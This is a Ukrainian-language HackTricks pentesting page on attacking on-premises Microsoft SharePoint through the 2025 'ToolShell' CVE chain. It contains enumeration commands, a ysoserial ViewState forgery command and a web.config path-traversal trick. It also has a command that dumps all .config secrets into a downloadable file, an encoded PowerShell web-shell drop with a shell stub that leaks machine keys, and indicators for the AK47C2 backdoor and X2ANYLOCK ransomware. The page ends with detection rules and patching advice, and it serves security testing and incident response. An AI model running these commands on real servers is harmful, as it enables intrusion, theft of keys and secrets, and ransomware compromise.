Microsoft SharePoint – Pentesting & Exploitation

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Microsoft SharePoint (on-premises) побудований на основі ASP.NET/IIS. Більшість класичної веб-атакуючої поверхні (ViewState, Web.Config, веб-оболонки тощо) тому присутня, але SharePoint також постачається з сотнями власних сторінок ASPX та веб-сервісів, які значно розширюють відкриту атакуючу поверхню. Ця сторінка збирає практичні трюки для перерахунку, експлуатації та збереження в середовищах SharePoint з акцентом на ланцюг експлуатації 2025 року, розкритий Unit42 (CVE-2025-49704/49706/53770/53771).

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 експлойт ланцюг (відомий як “ToolShell”)

2.1 CVE-2025-49704 – Впровадження коду на ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> дозволяє впроваджувати довільний Server-Side Include код на сторінку, який пізніше компілюється ASP.NET. Зловмисник може вбудувати C#, який виконує Process.Start() і скинути шкідливий ViewState.

2.2 CVE-2025-49706 – Неправильне обхід аутентифікації

Та сама сторінка довіряє заголовку X-Forms_BaseUrl для визначення контексту сайту. Вказавши його на /_layouts/15/, MFA/SSO, що застосовується на кореневому сайті, може бути обійдено без аутентифікації.

2.3 CVE-2025-53770 – Десеріалізація ViewState без аутентифікації → RCE

Якщо зловмисник контролює гаджет у ToolPane.aspx, він може надіслати незавірене (або тільки з MAC) значення __VIEWSTATE, яке викликає десеріалізацію .NET всередині w3wp.exe, що призводить до виконання коду.

Якщо підписування увімкнено, вкрадіть ValidationKey/DecryptionKey з будь-якого web.config (див. 2.4) і підробіть payload за допомогою ysoserial.net або ysodom:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

Для детального пояснення зловживання ASP.NET ViewState читайте: {{#ref}} ../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md {{#endref}}

2.4 CVE-2025-53771 – Перехід по шляху / розкриття web.config

Відправка підготовленого параметра Source до ToolPane.aspx (наприклад, ../../../../web.config) повертає цільовий файл, що дозволяє витік:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ підробка ViewState / ASPXAUTH cookies
  • рядки підключення та секрети.

3. Рецепти пост-експлуатації, спостережені в природі

3.1 Екстракція кожного .config файлу (варіант-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

Отриманий debug_dev.js можна завантажити анонімно і він містить всі чутливі конфігурації.

3.2 Розгорніть ASPX веб-оболонку, закодовану в Base64 (варіант-2)

powershell.exe -EncodedCommand <base64>

Приклад декодованого корисного навантаження (скорочений):

csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

Написано для:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

Оболонка відкриває кінцеві точки для читання / обертання ключів машини, що дозволяє підробляти ViewState та ASPXAUTH куки по всій фермі.

3.3 Обфускований варіант (варіація-3)

Та сама оболонка, але:

  • розміщена під ...\15\TEMPLATE\LAYOUTS\
  • імена змінних зменшені до одиничних літер
  • Thread.Sleep(<ms>) додано для обходу пісочниці та обходу АВ на основі часу.

3.4 AK47C2 багатопротокольний бекдор та X2ANYLOCK програмне забезпечення-вимагач (спостереження 2025-2026)

Недавні розслідування реагування на інциденти (Unit42 “Project AK47”) показують, як зловмисники використовують ланцюг ToolShell після початкового RCE для розгортання двоканального C2 імпланту та програмного забезпечення-вимагача в середовищах SharePoint:

AK47C2 – варіант dnsclient

  • Жорстко закодований DNS сервер: 10.7.66.10, що спілкується з авторитетним доменом update.updatemicfosoft.com.
  • Повідомлення є JSON об'єктами, зашифрованими XOR з використанням статичного ключа VHBD@H, закодованими в шістнадцятковій формі та вбудованими як піддоменні мітки.
json
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • Довгі запити розбиваються на частини та префіксуються s, потім знову збираються на стороні сервера.
  • Сервер відповідає в TXT записах, що містять ту ж схему XOR/hex:
json
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • Версія 202504 представила спрощений формат <COMMAND>::<SESSION_KEY> та маркери частин 1, 2, a.

AK47C2 – варіант httpclient

  • Використовує ту ж JSON & XOR рутину, але надсилає шістнадцятковий об'єкт у HTTP POST тілі через libcurl (CURLOPT_POSTFIELDS тощо).
  • Та ж робоча схема завдання/результату, що дозволяє:
  • Виконання довільних команд оболонки.
  • Динамічний інтервал сну та інструкції для вимкнення.

X2ANYLOCK програмне забезпечення-вимагач

  • 64-бітний C++ корисне навантаження, завантажене через DLL side-loading (див. нижче).
  • Використовує AES-CBC для даних файлів + RSA-2048 для обгортання AES ключа, потім додає розширення .x2anylock.
  • Рекурсивно шифрує локальні диски та виявлені SMB спільні ресурси; пропускає системні шляхи.
  • Залишає текстову записку How to decrypt my data.txt, вбудовуючи статичний Tox ID для переговорів.
  • Містить внутрішній kill-switch:
c
if (file_mod_time >= "2026-06-06") exit(0);

Ланцюг DLL side-loading

  1. Зловмисник записує dllhijacked.dll/My7zdllhijacked.dll поруч з легітимним 7z.exe.
  2. SharePoint-створений w3wp.exe запускає 7z.exe, який завантажує шкідливу DLL через порядок пошуку Windows, викликаючи точку входу програмного забезпечення-вимагача в пам'яті.
  3. Спостережено окремий завантажувач LockBit (bbb.msiclink_x86.execlink_dll_x86.dll), який розшифровує shell-code та виконує DLL hollowing в d3dl1.dll, щоб запустити LockBit 3.0.

info

Той самий статичний Tox ID, знайдений у X2ANYLOCK, з'являється в витоках бази даних LockBit, що свідчить про перекриття афілійованих осіб.


4. Ідеї для виявлення

ТелеметріяЧому це підозріло
w3wp.exe → cmd.exeПроцес робітника рідко повинен запускати оболонку
cmd.exe → powershell.exe -EncodedCommandКласичний шаблон lolbin
Події файлів, що створюють debug_dev.js або spinstall0.aspxIOCs прямо з ToolShell
ProcessCmdLine CONTAINS ToolPane.aspx (ETW/Module logs)Публічні PoCs викликають цю сторінку

Приклад правила XDR / Sysmon (псевдо-XQL):

proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")

5. Укріплення та пом'якшення

  1. Патч – Оновлення безпеки за липень 2025 року виправляють всі чотири CVE.
  2. Змінюйте кожен <machineKey> та ViewState секрети після компрометації.
  3. Видаліть LAYOUTS права на запис з груп WSS_WPG та WSS_ADMIN_WPG.
  4. Блокуйте зовнішній доступ до /_layouts/15/ToolPane.aspx на рівні проксі/WAF.
  5. Увімкніть ViewStateUserKey, MAC увімкнено та користувацький EventValidation.

Супутні трюки

  • IIS пост-компрометація та зловживання web.config: {{#ref}} ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md {{#endref}}

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks